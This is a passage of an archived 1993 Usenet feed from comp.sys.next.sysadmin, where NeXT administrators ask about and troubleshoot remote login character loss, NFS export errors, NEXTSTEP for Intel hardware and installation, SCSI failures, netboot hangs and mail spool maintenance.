set minimum lengths/uniqueness etc. Everything is stored in netinfo, and works by domain, so you can set stronger password checking by domain etc. Mail paul@xexos.com for full details. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: rlogind is broken, anyone have a fixed version? Message-ID: <1993Jun21.013632.18881@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1993Jun20.220650.8506@news.uiowa.edu> Date: Mon, 21 Jun 1993 01:36:32 GMT In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa Student Computer Assoc) writes: > For those of you lucky enough to have either Macs running A/UX or > HP/Apollos running Domain/OS, you've probably found the problem I have... > Both rlogind and telnetd seem to be broken - when connecting from either > of the above systems to a NeXT, the connection drops characters. It appears > that the NeXT is trying to do option negotiation that is not understood. > The fix is to get net sources and recompile. I fixed telnetd with this, but > I've not found a good rlogind that makes successfully. Before I go to the > work of doing this, has anyone else fixed this? > (BTW this bug has been in every version I've used - 2.1 to 3.1) I believe the bug is on the other foot. NeXT updated at least ftp in 2.1, and some older ftp versions can't cope with the newer version. I kept the version from 1.0 around for a while to "fix" this problem. -- Nathan "USENET" Janette PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: rlogind is broken, anyone have a fixed version? Message-ID: <C8yCJE.1KH@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <1993Jun20.220650.8506@news.uiowa.edu> Date: Mon, 21 Jun 1993 03:33:14 GMT In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa Student Computer Assoc) writes: > For those of you lucky enough to have either Macs running A/UX or >HP/Apollos running Domain/OS, you've probably found the problem I have... >Both rlogind and telnetd seem to be broken - when connecting from either >of the above systems to a NeXT, the connection drops characters. I always got around this by having the following in my .login: stty -extproc I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: atownley@cs.umr.edu (Andrew S. Townley) Subject: Annoying problem with whoami and NS2.1 Date: Mon, 21 Jun 1993 05:52:42 GMT Organization: University of Missouri - Rolla, Rolla, MO Sender: atownley@cs.umr.edu Summary: my userid isn't who it should be, thinks i'm root Message-ID: <1993Jun21.055242.9650@umr.edu> I have a small problem with the account that I use all the time on my soon-to-not-be standalone NeXTcube. I'm running 2.1 Extended (I know, I know... upgrade). The problem is that I have a regular user account on my machine, atownley, and when I do a 'whoami' from my atownley account, logged in on console I get the following excalibur> whoami root I was trying to install the new version of gcc and I was su'd to root. I wanted to change my root password and this is what I got: excalibur> su root Password: excalibur# passwd Changing password for atownley. I thougt this was a little disconcerting. I also typed mail as root and got: excalibur# mail No mail for atownley If anyone could help me with this, I'd appreciate it. I'm not really sure what to do. I'm not a total novice to my NeXT or to unix in general and I have a friend who is sysadmin for the CS department here at UMR and he didn't have any solutions either, so I'm at a loss. Thanks in advance for the help, ast Andrew S. Townley atownley@cs.umr.edu (NeXTmail) p.s. Please respond via e-mail as I'm pretty busy and so don't usually get to read netnews any more :(
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From: thor@cs.tu-berlin.de (Thorsten Albrecht) Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,de.comp.sys.next Subject: Re: Printing with HP ink Date: 21 Jun 1993 07:43:57 GMT Organization: Technical University of Berlin, Germany Message-ID: <203ort$ehq@news.cs.tu-berlin.de> References: <1tvfg5$k78@news.cs.tu-berlin.de> <1993May26.125431.19291@rchland.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: HP-Deskjet, Printing Driver and 2.0 tpg@rchland.vnet.ibm.com (Terry Gliedt) writes: >In article <1tvfg5$k78@news.cs.tu-berlin.de>, gonzo@cs.tu-berlin.de (S. F. Ruehauf) writes: >|> is there a driver for a HP DeskJet Printer available in the PD? >|> Somebody want to give me one of these for nil and I just would >|> like to know, how much work it is to use it with my NeXT. >|> >|> does it work with 2.0?? >There are a couple of options for using a DJ. There is a commercial package >called Dots that isn't particularly expensive. There is also software at orst >and sonata to provide support for the DJ. >I do not believe the serial support in 2.0 is good enough for anything. In order >to use the DJ, you will need to upgrade to 2.1 at least. I tried to print with 040 + 2.0 + HP 500 + custom made cable + dj-filter and my serial port (and the rest) worked fine :-) ! Greetings, Thorsten
Newsgroups: comp.sys.next.sysadmin Subject: Re: rlogind is broken, anyone have a fixed version? Message-ID: <1993Jun21.084646.3493@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 21 Jun 1993 08:46:46 GMT Sender: news@urz.unibas.ch (USENET News System) References: <C8yCJE.1KH@usenet.ucs.indiana.edu> Organization: Institut fuer Informatik In article <C8yCJE.1KH@usenet.ucs.indiana.edu> writes: > In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa Student Computer Assoc) writes: > > For those of you lucky enough to have either Macs running A/UX or > >HP/Apollos running Domain/OS, you've probably found the problem I have... > >Both rlogind and telnetd seem to be broken - when connecting from either > >of the above systems to a NeXT, the connection drops characters. > > I always got around this by having the following in my .login: > > stty -extproc > > > I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems. > Couldn't find that option in the man pages. It is accepted by stty though, but what is it supposed to do? Over here it DOESN'T eliminate the problem described by the original poster - characters still get lost when telneting from a Mac (and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok). -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
From: edbson@sionext.uio.no (Stein Onsrud) Newsgroups: comp.sys.next.sysadmin Subject: remote login won t work Message-ID: <204cd4$52m@hermod.uio.no> Date: 21 Jun 93 13:17:24 GMT Organization: University of Oslo Hello I have a problem with telnet, and rlogin to one of our NeXT machines. When i try to log in to the machine, it throws me out with the following explanation "connection closed by foreign host", WHY ?? Stein Onsrud SiO Data Norway
From: agm@doc.ic.ac.uk (Axel G Merk) Newsgroups: comp.sys.next.sysadmin Subject: NS for Intel installation on IBM Thinkpad [Microchannel architecture] Date: 21 Jun 1993 14:59:30 GMT Organization: Dept. of Computing, Imperial College, University of London, UK. Message-ID: <204iciINNnle@frigate.doc.ic.ac.uk> Has anyone sucessfully installed NS3.1 on an IBM Thinkpad? If so, please let me know. -Axel p.s. please send email. I'll summarize any significant findings ---------------------------------------------------------------------------- -- Axel Merk agm@doc.ic.ac.uk phone/fax +44-71-724 9089 -- -- 13 Archery Steps St. George's Fields Albion St London W2 2YF -- -- "One needs a certain amount of blindness to see perfection" -- ---------------------------------------------------- Christopher Nuzum --- 
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: rlogind is broken, anyone have a fixed version? Message-ID: <tlm.740681541@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch> Date: Mon, 21 Jun 1993 16:52:21 GMT In <1993Jun21.084646.3493@urz.unibas.ch> frank@ifi.unibas.ch (Robert Frank) writes: >In article <C8yCJE.1KH@usenet.ucs.indiana.edu> writes: >> In article <1993Jun20.220650.8506@news.uiowa.edu> isca@icaen.uiowa.edu (Iowa >Student Computer Assoc) writes: >> > For those of you lucky enough to have either Macs running A/UX or >> >HP/Apollos running Domain/OS, you've probably found the problem I have... >> >Both rlogind and telnetd seem to be broken - when connecting from either >> >of the above systems to a NeXT, the connection drops characters. >> >> I always got around this by having the following in my .login: >> >> stty -extproc >> >> >> I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems. >> >Couldn't find that option in the man pages. It is accepted by stty though, but >what is it supposed to do? Over here it DOESN'T eliminate the problem described >by the original poster - characters still get lost when telneting from a Mac >(and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok). After I added this to my .login (sent to me by someone over the net, who admitted he himself had no idea what it did) I made a fairly serious search to find out about this flag. Wrote to several Unix gurus I knew, checked various man pages and administration manuals. The upshot was that I *never* found out what it does. Just one of those weird pieces of Unix lore. . . . As for the Mac, I'll give one a try this afternoon and see if I can duplicate the problem. TLM >-- >Robert Frank tel. + (061) 321 99 67 >Institut fuer Informatik fax + (061) 321 99 15 >University of Basel, Switzerland >Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) >CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch > ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: NextStep r3.1 installation with ATI Ultra Pro Message-ID: <C8zGr8.8nt@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Date: Mon, 21 Jun 1993 18:01:56 GMT Hi, Can someone out there help me out with configuration details with installing NextStep for Intel Processor with the ATI Ultra Pro graphics card? I have a 1542B SCSI adapter and having the ATI Ultra Pro card in the system is doing something really wierd to NextStep... It fails to init properly and sits there with a blank screen. Dip switch settings info would be helpful. Thanks in advance, Bob Ngu
Newsgroups: comp.sys.next.sysadmin From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Things that get stuck when SLIP is active Organization: Primitive Software Ltd. Date: Mon, 21 Jun 1993 16:43:14 +0000 Message-ID: <1993Jun21.164314.1224@prim> Sender: usenet@demon.co.uk Does anyone know why certain commands (eg "su", or launching a new shell) sometimes hang for long periods of time when a SLIP connection is active? Is there anyway to prevent this frrom happening? Thanks, Dave Griffiths
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: rlogind is broken, anyone have a fixed version? Message-ID: <C8zIEy.BL0@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch> Date: Mon, 21 Jun 1993 18:37:45 GMT I wrote: >> I always got around this by having the following in my .login: >> >> stty -extproc >> >> >> I login from SunOS, AIX, HP-UX, Irix and Solaris w/o problems. Robert Frank wrote: >Couldn't find that option in the man pages. It is accepted by stty though, but >what is it supposed to do? Over here it DOESN'T eliminate the problem described >by the original poster - characters still get lost when telneting from a Mac >(and ONLY from a Mac, all other systems [PC,OS-9,Ultrix,VMS,...] are ok). Yep, that flag isn't in the man page, I don't remember where I got it from. Someone showed it to me. All other stty's barf on it as a flag. I rarely telnet from Macs, so I don't know what to say about that one. Sorry. -rob ---- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: NFS exported directory can't be mounted Message-ID: <1993Jun21.185505.8790@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Stanford University Date: Mon, 21 Jun 93 18:55:05 GMT Can anyone explain what the following error means, or point me to some documentation? NFS getattr failed for server deathstar: RPC: Authentication error mount: deathstar:/usr/spool/mail on /usr/spool/mail: Invalid argument mount: giving up on: /usr/spool/mail Here's what exportfs says: /usr/spool/mail -root=deathstar,anon=-1 I've also tried it with -access=yavin (the host I'm trying to mount from), -access=yavin:yavin.stanford.edu, etc. Any hints would be most appreciated. Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: HELP! Can't access serial port A! Date: 21 Jun 1993 15:42:57 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <205301INN480@jhunix.hcf.jhu.edu> I was happily using uucp and IComm for my communications. Then I installed Microphone. Now I'm permanently locked out of serial port A. Questions: what are the permissions and groups for /dev/cua and /dev/cufa? is there some getty that is running which will clear the port at three in the morning, or something? The Turbo will no t shut down, trying no doubt to close the port. What can I do?? Thanks Robert de Lucca email robinc@jhunix.hcf.jhu.edu
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: NFS exported directory can't be mounted Message-ID: <1993Jun21.195008.10156@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: Stanford University References: <1993Jun21.185505.8790@leland.stanford.edu> Date: Mon, 21 Jun 93 19:50:08 GMT In comp.sys.next.sysadmin draphsor@deathstar.stanford.edu writes: >Can anyone explain what the following error means, or point me to some >documentation? >NFS getattr failed for server deathstar: RPC: Authentication error Well, once again I received a very timely reply explaining the problem. Basically, it's a bug with NeXT's version of NFS. When you attempt to export a volume that disallows anonymous access (ie you unclick the checkbox at the bottom of the NFSManager window) it doesn't allow other hosts to connect. The workaround is to not use anon=-1 (ie leave the checkbox checked). Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: john@oceania.com (John Robison) Subject: SUMMARY: NSIntel HW comparison and vendors (long) Message-ID: <C8znGo.CL1@oceania.com> Followup-To: comp.sys.next.hardware Sender: john@oceania.com (John Robison) Organization: Oceania Health Care Systems Distribution: na Date: Mon, 21 Jun 1993 20:26:45 GMT Hi all, As promised, (a while ago) here is a summary of hardware. Note we are *still* trying to buy more hardware from different vendors. Still looking for other decent vendors to work with. (Follow-up to comp.sys.next.hardware - cross posted because notes in installation simplicity are included below) We now have the following machines in-house and up and running: Compaq "Deskpro 66M" with Q-vision Gateway 2000 "66-V" with ATI card Dell "450DE/2" with JAWS Intel "GX/Professional Workstation" with ATI built-in ========= All are 66Mhz DX/2 except for Dell (50 Mhz DX/2) CPU Overview: 1) Dealing with PC vendors is sheer HELL. You need to know *exactly* what you want, and make sure you are getting it. We got the Compaq from a "no-name" vendor - who was also going to get us an HP vectra. Well, basically the no-name vendors are totally unreliable and incompetent. I would *strongly* suggest testing them out with easy stuff like memory, E-net cards, Sound Blaster cards, etc. You'd be surprised at how easy it is to screw up an order. I was astounded. Compaq actually has two Deskpro-M models, one is a "Windows" version. It has pre-installed Windows 3.1 and DOS 5.0 - but no floppys! It also has a on-board sound card, which is useless with NS Intel. Needless to say, we never did get the HP. :-) 2) Gateway was *GREAT*. If you itemize what you need, they FAX up a nice order sheet you can look at and double-check. (I remembered a few things to add after seeing the sheet.) It is itemized and shows you *exactly* what you are getting. Make sure to read the doc about the keyboard problem. If you unplug it a lot you can get NS Intel installed. Their machine seems a little slower, but not much. Definately a bargain! They also "throw in" a windows program, and actually give you the floppys and manuals! If you are concerned about price, get the Gateway. 3) Dell was also a nightmare. We actually had a contractor working for us in Texas get it from a "reburbished" Dell outlet. Mega-problems trying to speak windows drivers to a "technician". Not sure how dealing direct with Dell is. Still waiting for that call back... :-) 4) Intel we got from Workstation 2000. Basically Tim Finnegan is an ex-NeXT hardware salesman. Took a while to get the machine, but it was everything as promised. Right monitor, right hard drive, right amount of memory, right CPU speed, right Ethernet card, etc. Amazing. For $175.00 he will even install NeXTStep for you. Well worth it, seeing as how it still takes a day or two for us to configure machines. Also great hardware. The Intel is the only machine with a form-factor close to NeXT Slab. ALso the Intel has the fans in the right place to support the "OVerdrive" pentium chip - if you care. :-) Overall: All machines are about 35-40 MIPS, compared to 22 MIPS for a NS Turbo (not *official* estimates!) Dragging is a bit slow - but then again, we are not using any Color NeXTStations, so this may be an unfair comparison. Also the "window-drag" test seems to be a bit erroneous. Our statistics seem to indicate that this particular "test" does extremely poorly. Supposedly this is a driver issue for all the Intel stuff. (Not using the "bit blitter" or something like that.) ================ Hardware "gotchas": Compaq is proprietary. 100%. Period. Priprietary video, floppy drive, connectors, Q-vision, etc. Seems the color 1024X768 Q-vision 1280E card with additional video RAM is not available yet. We are running the cheaper 1024E card. (Then again, this vendor was horrid, so it could be yet another instance of incompetence...) We had trouble with the Compaq, and could not "swap parts" to eliminate problems. Also the mark-up may be higher. All "PC" cards still work fine. Compaq puts a hidden "system config partition" on the hard drive. We actually got the machine in a state where it would not boot from floppy. Managed to somehow get the whole disk erased and re-partitioned, but it was not fun. Suggest you make a DOS Boot floppy, and just fdisk things the way you want them ahead of time. I think we had to delete *all* partitions, then add back what we wanted. Needless to say, install was a nightmare. Gateway: A minor challenge installing with the keyboard driver problem. Non-turbo mode is not really an option - the machine crawls. The previous posting about Gateway has the *real* answer at the *end*. Be sure to read the complete doc before installing. We changed things we didn't have to. Dell: Minor Sharpness problems with NEC monitor. Haven't tried others. Installation was OK. Had to use the Adaptec SCSI card with a Sony CD-ROM drive. (Beta release) Intel: If you use 80ns memory, it seems that the whole CPU goes into "slow" mode. Dropped to 8 MIPS. Haven't verified the 80ns SIMMS caused this yet. Put the 70ns SIMMS back in. Installation was simple and easy. No surprises. (This was the fourth machine configured, however.) =============== Vendor Summary: Compaq: I wouldn't send my enemy's monther-in-law to InfoTech in Palo Alto (CA). My guess is most vendors out there will be similar. Peeple just don't understand the need for high-end PCs. Gateway: Buy direct. Excellent! 1-800-846-2058 I dealt with Corey Peterson at extension 5315 They even called when they were shipping the computer and told me the tracking number and when *exactly* to expect it. (And it arrived on-time!!!) Doesn't know NeXT, so order carefully. You can build just about any system you want. Dell: Will sell direct. Still waiting for a call back... Intel: Got through "Workstation 2000" (619) 723-4827 (Tim Finnegan) Pre-installed all peripherals and cards. Offers a very slim selection, but choices are all the best. Only does NeXT configs. Will deliver with pre-installed NS for extra "configuration" fee. Hope this helps a few wary Hardware purchasers out there! Regards, John --- John Robison | john@oceania.com | This Space Available NeXTMail Accepted. | Call: 555-SIGS Opinions are my own. | -- John Robison | john@oceania.com | This Space Available NeXTMail Accepted. | Call: 555-SIGS Opinions are my own. |
Newsgroups: comp.sys.next.sysadmin From: zeke@znext.cts.com (james dehnert) Subject: Syetem Hangs (was Re: 3.1 user upgrade) Message-ID: <1993Jun21.135954.359@znext.cts.com> Keywords: hang Sender: zeke@znext.cts.com (james dehnert) Organization: pnet References: <scott.740586911@shrug> Date: Mon, 21 Jun 1993 13:59:54 GMT In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) writes: > > I'm dying to know: > > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> > or are they really gone? > > Thanks. > > Scott > znext:/private/adm 7->ps -aux | grep mach-task zeke 342 1.6 1.3 1.61M 208K p1 S 0:00 grep mach-task root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task> root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> But worse than that, my system now seems to hang whenever it feels like it!! It is anoying to the point of making my system unusable because it is unreliable. I think I'll try doing a full install of the software instead of the upgrade if only I can find someome to loan me a SCSI floppy fo I can boot from the CDROM. I sent a letter off with the BugNeXT.app, I hope they can tell me something. Zeke -- -=+~+=- Eschew Obfuscation Next Mail Welcome -=+~+=- -=+~+=- James "Zeke" Dehnert zeke@znext.cts.com -=+~+=-
Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: HELP NEEDED: NextStep r3.1 for Intel installation with ATI Ultra Pro Message-ID: <C8ztvG.BpJ@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Date: Mon, 21 Jun 1993 22:45:15 GMT Article 5335 of comp.sys.next.software: Xref: inews comp.sys.next.hardware:4573 comp.sys.next.misc:11700 comp.sys.next.software:5335 comp.sys.next.sysadmin:5849 Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin Path: inews!olivea!uunet!wupost!gumby!destroyer!cs.ubc.ca!unixg.ubc.ca!kakwa.ucs.ualberta.ca!atlantis!splunge!royce From: royce@splunge.uucp (Royce Howland) Subject: Re: Monitor Refresh Rate on ATI Ultra Pro (Intel GX Workstation) Message-ID: <1993Jun7.131942.356@splunge.uucp> Keywords: bastard_kernel Organization: Ashley, Howland & Wood References: <1993Jun3.104802.3677@mic.ucla.edu> Date: Mon, 7 Jun 1993 13:19:42 GMT Lines: 19 iwelch@agsm.ucla.edu (Ivo Welch) writes: >I understand that NeXT/Intel (beta) is running the ATI Ultra Pro at the >lowest possible refresh rate at the 1024*768 resolution. If someone has >done a kernel patch to increase the refresh rate, I would very much like >to get my hands on it. This is not necessary. The shrink-wrapped release of NEXTSTEP Intel allows you to configure the refresh rate when setting up your video driver in Configure.app. I immediately tried a higher rate for our Intel GX (72 instead of 60), but it made no appreciable difference with the Nanao F550i monitor sitting on the machine (the display was pretty good before, and was pretty good after). -- Royce Howland, DKW Systems Corp. | "And since OS/2 2.0 is a 32-bit Everything is IMHO | operating system, programs are royce@splunge.uucp (NeXTMail OK) | easier to write and run faster, or kakwa!atlantis!splunge!royce | too." -ad for OS/2 2.0 Article 5620 of comp.sys.next.software: Newsgroups: comp.sys.next.software Path: inews!mipos2!rngu From: rngu@mipos2.intel.com (Robert Ngu) Subject: HELP NEEDED: NextStep for Intel processor with ATI Ultra Pro Message-ID: <C8zor2.AI8@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Nntp-Posting-Host: mipos2 Organization: Intel Corporation, Santa Clara, CA USA Date: Mon, 21 Jun 1993 20:54:37 GMT Hi, I realized that my previous call for help lacks any helpful info. The configuration that I have is as follows: Intel 486 33Mhz system 20MB memory ATI Ultra Pro card 1542B SCSI adaptec card with 340MB SCSI drive with NEC CD-ROM I get a strange error while trying to install NextStep with ATI card. After formatting the hard disk for installation, it gave me this error message: AHA Interrupt: bad status ff sd0: INVALID STATUS (internal error): FATAL ERROR target:0 lun:0 write block:635760 block count:16 I cannot figure out what the message means for the life of me and when I repeat the installation process with the on-baord VGA card, it works fine and installs fine. The minute I configure the system to use the ATI Ultra Pro card, NextStep craps on me like a bad dream. Please help if you can, Bob Ngu
From: sfl@muttley.ucsd.edu (Susan Fichera) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: SCSI errors trash 3.0 upgrade Date: 22 Jun 1993 00:53:59 GMT Organization: Department of Music, UC San Diego Distribution: usa Message-ID: <205l77INNk1i@network.ucsd.edu> Greetings - I am trying to upgrade a NextDimension system to NeXTOS3.0, from NeXTOS 2.1. In the middle of the upgrade I got the following SCSI error from the hard disk, repeated four times. After that, the system panic'd, and the disk was left unbootable. I got the same errors when I restored the old system from tape. Here is the text of the error: sd0 (4,0): ERROR op:0x2a sd_state:4 scsi status: 0x0 sd0 (4,0): sense key: 0xb additional sense code: 0x47 SCSI Block in error = 0 (front porch) Now I know some of these numbers, like the scsi status, sd_state and sense key. These give conflicting info about the scsi target aborting the command and the command being completed. What I don't know are the meaning of op, the additional sense code, and the meaning of a front porch error. Is this an error in swap?? If some SCSI expert could explain the meaning of this error, I'd be grateful. Reply to me, and I'll summarize. Susan Fichera Systems Programmer UC San Diego CRCA sfl@grasshopper.ucsd.edu
Control: cancel <1993Jun21.055242.9650@umr.edu> Newsgroups: comp.sys.next.sysadmin From: atownley@cs.umr.edu (Andrew S. Townley) Subject: cmsg cancel <1993Jun21.055242.9650@umr.edu> References: <1993Jun21.055242.9650@umr.edu> Date: Tue, 22 Jun 1993 01:25:39 GMT Organization: University of Missouri - Rolla, Rolla, MO Sender: cnews@umr.edu (UMR Usenet News Administration) Originator: atownley@next3 Message-ID: <1993Jun22.012539.24531@umr.edu> <1993Jun21.055242.9650@umr.edu> was cancelled from within trn.
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: Panic on Backup... ????? Message-ID: <C907A8.8p9@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <C8zHtL.2GG@monitor.com> Date: Tue, 22 Jun 1993 03:34:56 GMT In article <C8zHtL.2GG@monitor.com> shawn@monitor.com writes: >perhaps someone can make some suggestions on this one.... > >i am backing up various drives on our network to a DAT drive on a mono slab via >gtar. sometime early in the backup process, the slab panics, crashes, moans, >and dies, rolled over on its side. > >the backups have been working fine for well over a year, but during the last >three weeks, it's been crashing about 10% of the time (the backup is done 5 >times per week). > >any ideas on why this might all-of-a-sudden start crapping out? if we assume >that i screwed something up (unlikely but certainly a possibility) what sorts >of screwups would cause a panic like that? > I've had a flakey network cause crashes on both the machine rdumping and/or the machine being dumped to. Might want to check out your network. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: brill@sybase.com (Michael Brill) Subject: Getting Mail on NeXT in mixed environment Message-ID: <C8zz37.DuB@sybase.com> Sender: usenet@sybase.com Organization: Sybase, Inc. Date: Tue, 22 Jun 1993 00:37:55 GMT I'm 90% complete with hooking up a NS-endowed PC to a mixed network of Unix machines. I've got everything working except the ability to read mail. I already have a mail account on a server and I'd like to be able to use that account to get/send NeXT mail. I tried following the directions in the NeXT documentation - but couldn't make much sense of it. Could someone who has fought this battle before be so kind as to drop me an email and point me in the right direction? Thanks, ...Michael Brill
Newsgroups: comp.sys.next.sysadmin From: c559165@monad.missouri.edu (H. Paul Hammann) Subject: aging mail in the mail spool Message-ID: <1993Jun22.045204.23193@mont.cs.missouri.edu> Keywords: mail aging Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: Tue, 22 Jun 1993 04:52:04 GMT Hello, I have a question regarding aging mail in the mail spool. As in how do you do it? I understand how to age files in the print spool, that's easy, they are all seperate files, but a users mail is all kept in usr/spool/mail/user_id. I am on a NeXT machine running NeXTStep 2.1 If anyone could point me in the right direction, or if someone has some scripts that they could send me I would be most appreciative. I am sorry if this is a FAQ. Please send any mail to c559165@monad.missouri.edu. Thanks to anyone who replies. Sincerely, H. Paul Hammann c559165@monad.missouri.edu
Newsgroups: comp.sys.next.sysadmin From: CCMAHTAJ@mizzou1.missouri.edu Subject: Compacting Maiboxes Message-ID: <16BF5879E.CCMAHTAJ@mizzou1.missouri.edu> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: Tue, 22 Jun 93 09:38:38 CDT I am trying to find a way to compact mailboxes of NeXT users on a regular basis (i.e., daily, weekly, or maybe upon logoff). I appreciate any and all help you can provide. Mahtaj Khamneian ccmahtaj@mizzou1.missouri.edu
Newsgroups: comp.sys.next.sysadmin From: heidelj@alleg.edu (Jason Heideloff) Subject: Netboot machines in NS3.1 Message-ID: <1993Jun22.151652.25945@alleg.edu> Sender: news@alleg.edu Organization: Allegheny College Date: Tue, 22 Jun 1993 15:16:52 GMT If anyone could help me with the following problem, it would be appreciated! Set up: We have a lab that has three servers (netboot), one being the master server for the entire lab and the others are servers for their respective clients. I upgraded one server (not the master) and it was done successfuly. After reboot that server, I rebooted one of its clients. I have been unsuccessful bringing its clients up. The boot process is fine up until one point where it hangs. The following is a description of the boot process from the mount points: mount: No such device mount: giving up on: /private/vm/swapfile.front /usr/etc/mach_swapon: swapping on /private/vm/swapfile Cleaning up: /etc/nologin ptys floppy devices editors /tmp /Net. Starting early daemons: syslogd. Starting RPC and network services: portmapadd net default: gateway 141.195.5.201 netinfo At this point it simply sits here. What do I do? On the server, I am also getting a slew of errors that read: nfs_server: weak authentication, source IP address=XXX.XXX.XXX.XXX. The only thing I did was upgrade one of the file servers. It should have simply upgraded without touching any of the netboot info correct? All of the information is still on the server. I should have to rebuild the swapdisk should I? Any help would be greatly appreciated! Thanks, Jason Heideloff heidelj@alleg.edu
From: pkron@corona.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: Purpose of /usr/preserve? Message-ID: <105.UUL1.3#16216@corona.com> Date: Mon, 21 Jun 93 04:46:53 PDT Organization: Corona Design, Inc., Seattle, WA I have assumed that /usr/preserve is for files which should not be destroyed by system installation, ie, site-specific configuration files. I ask because the files I placed there disappeared, including the sendmail.cf I was linking to. I experience frequent crashes during mail polling on NS/FIP 3.1, which require an fsck upon reboot. The files disappeared during one such fsck. I am trying to determine if this was a result of the crash or possibly some side effect of /usr/preserve that I don't understand. Thanks --------------- Peter Kron P.O. Box 51022 Corona Design, Inc. Seattle, WA 98115-1022 Peter_Kron@corona.com
From: pkron@corona.com (Peter Kron) Newsgroups: comp.sys.next.sysadmin Subject: Lost mail or recoverable? Message-ID: <106.UUL1.3#16216@corona.com> Date: Mon, 21 Jun 93 04:50:53 PDT Organization: Corona Design, Inc., Seattle, WA In a previous post (Purpose of /usr/preserve) I noted losing my sendmail.cf file for unknown reason. This resulted in rmail failing when mail was received at my host. This occurred during the UUXQT after the UUCP link had completed. The only errors were (error 13) and (error 0, signal 72). Was this mail lost or was it moved to some error directory somewhere, from which I can recover it? Thanks --------------- Peter Kron P.O. Box 51022 Corona Design, Inc. Seattle, WA 98115-1022 Peter_Kron@corona.com
